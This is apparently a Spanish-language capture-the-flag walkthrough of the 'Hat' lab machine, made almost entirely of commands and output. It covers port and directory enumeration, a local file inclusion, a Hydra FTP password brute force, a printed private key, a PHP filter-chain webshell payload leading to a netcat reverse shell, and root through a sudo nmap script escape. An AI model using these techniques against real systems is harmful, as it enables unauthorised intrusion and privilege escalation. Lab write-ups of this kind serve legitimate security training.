

Hat

```
└─# nmap -sCV -p80,65535 -Pn -n -vvv 192.168.137.24
PORT      STATE SERVICE REASON
80/tcp    open  http   syn-ack ttl 64
65535/tcp open  unknown syn-ack ttl 64
MAC Address: 00:0C:29:91:FB:DA (VMware)
```

```
└─# nmap -sCV -p80,65535 -Pn -n -vvv 192.168.137.24

PORT      STATE SERVICE REASON      VERSION
80/tcp    open  http   syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
65535/tcp open  ftp    syn-ack ttl 64 pyftpdlib 1.5.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.137.24:65535
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
MAC Address: 00:0C:29:91:FB:DA (VMware)
```

```
[root@miguel] - [/home/miguel/Work]
# whatweb 192.168.137.24
http://192.168.137.24 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.137.24], Title[Apache2 Debian Default Page: It works]
```

```
[root@miguel]# gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://192.168.137.24/" -x ht
ml,txt,php -t 20
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.137.24/
[+] Method:       GET
[+] Threads:     20
[+] Threads:     20
[+] Wordlist:    /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Extensions:  html,txt,php
[+] Timeout:     10s
=====
Starting gobuster in directory enumeration mode
=====
/.html          (Status: 403) [Size: 279]
/index.html     (Status: 200) [Size: 10701]
/.php           (Status: 403) [Size: 279]
/logs           (Status: 301) [Size: 315] [--> http://192.168.137.24/logs/]
/php-scripts    (Status: 301) [Size: 322] [--> http://192.168.137.24/php-scripts/]
```

Enumeracion de logs

```
[root@miguel]# gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://192.168.137.24/logs/" -x log -t 20
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.137.24/logs/
[+] Method:       GET
[+] Threads:     20
[+] Threads:     20
[+] Wordlist:    /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Extensions:  log
[+] Timeout:     10s
=====
Starting gobuster in directory enumeration mode
=====
/vsftpd.log      (Status: 200) [Size: 1760]
```

```
[I 2021-09-28 18:43:57] >>> starting FTP server on 0.0.0.0:21, pid=475 <<<
[I 2021-09-28 18:43:57] concurrency model: async
[I 2021-09-28 18:43:57] masquerade (NAT) address: None
[I 2021-09-28 18:43:57] passive ports: None
[I 2021-09-28 18:44:02] 192.168.1.83:49268-[] FTP session opened (connect)
[I 2021-09-28 18:44:06] 192.168.1.83:49280-[] USER 'l4nr3n' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49290-[] USER 'softyhack' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49292-[] USER 'h4ckbltu5' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49272-[] USER 'noname' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49278-[] USER 'cromiphi' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49284-[] USER 'b4el7d' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49270-[] USER 'shelldredd' failed login.
[I 2021-09-28 18:44:06] 192.168.1.83:49270-[] USER 'anonymous' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49292-[] USER 'alienum' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49280-[] USER 'k1m3r4' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49284-[] USER 'tatayoyo' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49278-[] USER 'Exploiter' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49268-[] USER 'tasiyanci' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49274-[] USER 'luken' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49270-[] USER 'ch4rm' failed login.
[I 2021-09-28 18:44:09] 192.168.1.83:49282-[] FTP session closed (disconnect).
[I 2021-09-28 18:44:09] 192.168.1.83:49280-[admin_ftp] USER 'admin_ftp' logged in.
[I 2021-09-28 18:44:09] 192.168.1.83:49280-[admin_ftp] FTP session closed (disconnect).
[I 2021-09-28 18:44:12] 192.168.1.83:49272-[] FTP session closed (disconnect).
```

Enumeracion de php-scripts

```
[root@miguel ~]# /home/miguel/Work/wfuzz -c --hw=0 -w /usr/share/wfuzz/lists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://192.168.137.24/php-scripts/file.php?FUZZ=/etc/passwd" -t 20
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://192.168.137.24/php-scripts/file.php?FUZZ=/etc/passwd
Total requests: 207643

=====
ID      Response    Lines   Word    Chars   Payload
=====

000000100:  200       26 L    38 W    1404 Ch   "6"
/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
```

tenemos LFI

← → ⌂ ⌂ Not secure view-source:192.168.137.24/php-scripts/file.php?6=/etc/passwd

Line wrap

```

1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
20 systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
21 systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
22 systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
23 messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
24 sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
25 cromiphi:x:1000:1000:cromiphi,,,:/home/cromiphi:/bin/bash
26 systemd-coredump:x:999:999:systemd Core Dumper://:/usr/sbin/nologin
27

```

vuelvo al ftp ya que tenemos el usuario admin_ftp vamos a ver si con hydra logramos encontrar la pass

```

└─(root㉿miguel)-[/home/miguel/Work/resources]
# hydra -l admin ftp -P rockyou.txt ftp://192.168.137.24:65535
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
This is non-binding, these *** ignore laws and ethics anyway.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-11 12:21:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.137.24:65535/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 14344111 to do in 830:06h, 16 active
[STATUS] 288.00 tries/min, 864 tries in 00:03h, 14343535 to do in 830:04h, 16 active
[65535][ftp] host: 192.168.137.24 login: admin_ftp password: cowboy
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-11 12:25:36

```

entramos

```
(root@miguel)-[/home/miguel/Work/resources]
# ftp 192.168.137.24 65535
Connected to 192.168.137.24.
220 pyftplib 1.5.4 ready.
Name (192.168.137.24:miguel): admin_ftp
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> help
Commands may be abbreviated. Commands are:

!      close      fget      lpage      modtime    pdir      rcbuf      sendport   type
$      cr        form      lpwd       more       pls       recv       set        umask
account  debug      ftp       ls        mput      pmbsd     reget      site      unset
append   delete     gate      macdef    mreget    preserve  remopts   size      usage
ascii    dir        get       mdelete  msend     progress  rename    status    user
bell     disconnect glob      mdirc     newer     prompt   proxy     reset     struct   verbose
binary   edit       hash      mget     nlist     proxy    restart  rhelp    sunique?
bye     epsv       help      mkdir    nmap     put      pwd      rmdir   system
case    epsv4      idle     mls      ntrans   quit     quote   rstatus  tenex
cd      epsv6      image    mlsd     open     rate    runique  send     throttle
cdup   exit       lcd      mlst    page     passive
chmod   features   less      mode
```

```
ftp> ls
229 Entering extended passive mode (|||47383||).
125 Data connection already open. Transfer starting.
drwxrwxrwx  2 cromiphi cromiphi  4096 Sep 28 2021 share
226 Transfer complete.
ftp> cd share
250 "/share" is the current directory.
ftp> ls
229 Entering extended passive mode (|||60459||).
125 Data connection already open. Transfer starting.
-rw-rw-rwx  1 cromiphi cromiphi  1751 Sep 28 2021 id_rsa
-rw-rw-rwx  1 cromiphi cromiphi  108 Sep 28 2021 note
226 Transfer complete.
ftp> prompt
Interactive mode off.
```

```
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering extended passive mode (|||54371||).
125 Data connection already open. Transfer starting.
100% |*****| 1751          151.43 KiB/s  00:00 ETA
226 Transfer complete.
1751 bytes received in 00:00 (138.26 KiB/s)
ftp> get note
local: note remote: note
229 Entering extended passive mode (|||48277||).
125 Data connection already open. Transfer starting.
100% |*****| 108           1.07 MiB/s  00:00 ETA
226 Transfer complete.
108 bytes received in 00:00 (104.01 KiB/s)
ftp>
```

```
(root@miguel)-[/home/miguel/Work]
# cat note
File: note
1 Hi,
2
3 We have successfully secured some of our most critical protocols ... no more worrying!
4
5
6
7
8
9 Sysadmin
10
11
```

```
(root@miguel)-[/home/miguel/Work]
# cat id_rsa
File: id_rsa
1 -----BEGIN RSA PRIVATE KEY-----
2 Proc-Type: 4,ENCRYPTED
3 DEK-Info: DES-EDE3-CBC,6F30B7B22B088AB2
4
5 JmLJqI4m9jk1McrIzNFyuYrPyPu3Znw6awuyEIK0ZctgYabjNk5MVCM0FH45SQL
6 rqk3QqSACi0q4+DnMwREcJ5C0+JPzGjIupgz8IrW0Cr7mkRSNa9fCeEBRIZaI924
7 GEM72PMuwlBM4zWDZ/962gtZpDnzXYLc9mYdVTe+ubI2NrVC6d2ak1L5GMsBdYwi
8 BVj8bhnUsr4doXi1ZcRAZoHUses/Z8ohfNXKUoD02d1kQmiE0hAVEUnBerzV+E84
9 GpJFBgHphboG9E+R3Gh27viM3pY0qFvU/PWbTJ8Y6LgSgJPMLldlEuBEym0LPDpc
10 27L7wdKEYwCjPWBGtuGnKsdflleQfsyKijH8/YDlH0hsrDc83ZMcDR13jtfZbZjHZ
11 IwVdhUuKdHp6Ig4lmxi1RqJA35CD6ZHHMz0Klm1TjQskA0j6jdPeJ3o5ebh/z3oe
12 tr3FKEawz+2KQa+CX+frcwN/rFUc8M0vh7I4/jJ9o2kdKB0u50HH+pgXfmhTJz1
13 mVSqOtt17cefUb142Jltku5kElwKdvVEHw+qmZNMrw+Kv7rlpvezfsW4uzm8Je
14 nImxXoMl62Z3FKPjKarEqZrb06bHf6lWAIRjgJGydRn1tpD/IY1DJZKwa0alrkbr
15 7hu8C0LSpIVdy5ZUsaT04ZL/FBxDQR7cg2/ZYF5Kc1pvIgjXrlEsbbSPDyg2bLIW
16 eCMRnevvsTS8l55qUv02G073kHMcWfkAsvUaojLiSxXTGcd+gPf6kXiwTbz2wbTR
17 KPzDwKaTn74yw+9jc88+6D8CdT60rN+2eP8K0ukdNwMqVc+Mag0T00Cwq+QVfKwf
18 07A+3+13xjUy1/TKRIJDxuhL88RDrzA7U4uy9ZDYEq5z2HVc3agqnHMBP4k2n0KE
19 u2YoCNOp52Q4YpKoXoz50jw8CuUIhNqoilh/0j+gkdgIO5jMAEBT7p6M/fnhfHpe
20 VNCimSJfTjLCU49Tez0HeDDCuE4oG/vShjM0ebZHMMWTY8vVoaRz4Ktcx938Jpnj
21 /j9Z0NEAEUI2ISZGGDLs/00fhyN9ls1UrY2yR3NnXgbX3YkjWLDM4C8mWSCejpl
22 XhWSUYlt8X83at1ufTcn97QVGejXvljhBURYEtsThjDc2lsH3KQNYtpckQizpcyW
23 axJjIeWhI+eqWIVwsXTxKI2hIa6XuYdjUP7cusDad+pUo1Y7h0wTwLP1KYtkXrm3
24 sEvB8X2mX6tHB+1i067UKjFdZ7Ti1Q2XY6zCc0l3S5b24MFafANDYgkr1QtgQqs
25 j+tSrrd1yOn4AeM6SdyLdVxKQBY2s0+9dvLmaJLH900dV0G4I4WcMuum40WMzXrf
26 fBAMiH7Gl01EWPOrPt0xrQI++kAlyzNTK1oxSvdc/f30T0B4hGH8yU3EKzRh/QTa
27 fHkcKP9V7Y0xKwrg2yLuWsFSt4QnFUZEbV+wDq2i9NqvriY0xSa2qarPP04FVZRp
28 5xYdSGWdMuPFTEAaM+67wR33zzLYKvnEmE9CRHnAqVpqHFuNmngYD+S3KhzW3X1A3
29 z1flWacIB06p/cXCr3w6XNqa0y2TsNmU2IR6JX+Qr6usNV4QWL/Jyyy4dE1oBG6
30 -----END RSA PRIVATE KEY-----
```

sacamos la pass con john

como tengo un id_rsa vamos a ver si tenemos el 22, pues hasta ahora solo vimos los puertos abiertos

```
└─# nmap -sCV -p22 -vvv 192.168.137.24  
  
PORT      STATE    SERVICE REASON      VERSION  
22/tcp     filtered ssh      no-response  
MAC Address: 00:0C:29:91:FB:DA (VMware)
```

como esta filtrado no puedo conectararme vamos a ver mediante el LFI por ipv6 que encontramos

la separamos correctamente

y entremos con el usuario. [¡Vamos!](#)

```
(root💀miguel)-[~/home/miguel/Work]
└─# ssh -i id_rsa -6 cromiphi@fe80::0000:0000:0a00:27ff:fe7b:f7d9%eth0
The authenticity of host 'fe80::a00:27ff:fe7b:f7d9%eth0 (fe80::a00:27ff:fe7b:f7d9%eth0)' can't be established.
ED25519 key fingerprint is SHA256:La0u+PZMPWLbX3icetuOZ2jXgEY/N1RwrUsqJBfcuTQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80::a00:27ff:fe7b:f7d9%eth0' (ED25519) to the list of known hosts.
Enter passphrase for key 'id rsa':
Linux hat 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
cromiphi@hat:~$
```

```
(root💀miguel)-[~/home/miguel]
└─# nmap -p22 -6 fe80::0000:0000:0a00:27ff:fe7b:f7d9%eth0
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 13:58 -03
Nmap scan report for fe80::a00:27ff:fe7b:f7d9
Host is up (0.0023s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:7B:F7:D9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds

[root💀miguel]-[~/home/miguel]
└─# ping6 fe80::0000:0000:0a00:27ff:fe7b:f7d9%eth0
PING fe80::0000:0000:0a00:27ff:fe7b:f7d9%eth0 (fe80::a00:27ff:fe7b:f7d9%eth0) 56 data bytes
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=1 ttl=64 time=6.12 ms
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=2 ttl=64 time=1.91 ms
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=3 ttl=64 time=2.70 ms
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=4 ttl=64 time=1.41 ms
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=5 ttl=64 time=8.50 ms
64 bytes from fe80::a00:27ff:fe7b:f7d9%eth0: icmp_seq=6 ttl=64 time=3.27 ms
^C
--- fe80::0000:0000:0a00:27ff:fe7b:f7d9%eth0 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5016ms
rtt min/avg/max/mdev = 1.405/3.983/8.503/2.519 ms
```

o de esta manera como www-data

filter chain y tenemos ejecucion remota de comando para hacer una rev shell

```
(root💀miguel)-[~/home/miguel/Work/resources]
└─# python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
```

6|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=id



en escucha con netcat y estamos dentro

```
└─(root💀miguel)-[/home/miguel/Work/resources]
# nc -lvpn 9001
listening on [any] 9001 ...
connect to [192.168.137.12] from (UNKNOWN) [192.168.137.24] 42340
whoami
www-data
```

seguimos con la entrada con cromiphi

```
cromiphi@hat:~$ sudo -l
Matching Defaults entries for cromiphi on hat:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr
User cromiphi may run the following commands on hat:
    (root) NOPASSWD: /usr/bin/nmap
```

(a) Input echo is disabled.

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
```

```
cromiphi@hat:~$ TF=$(mktemp)
cromiphi@hat:~$ echo 'os.execute("/bin/sh")' > $TF
cromiphi@hat:~$ sudo nmap --script=$TF
Starting Nmap 7.70 ( https://nmap.org ) at 2025-02-11 18:20 CET
NSE: Warning: Loading '/tmp/tmp.ldXTpeziRA' -- the recommended file extension is '.nse'.
# /bin/sh: 1: whoamiwhio: not found
# root
# Script iniciado; el fichero es /dev/null
root@hat:/home/cromiphi# root@hat:/home/cromiphi# user.txt
root@hat:/home/cromiphi# d3ea66f59d9d6ea12351b415080b5457
root@hat:/home/cromiphi# 8b4acc39c4d068623a16a89ebecd5048
root@hat:/home/cromiphi#
```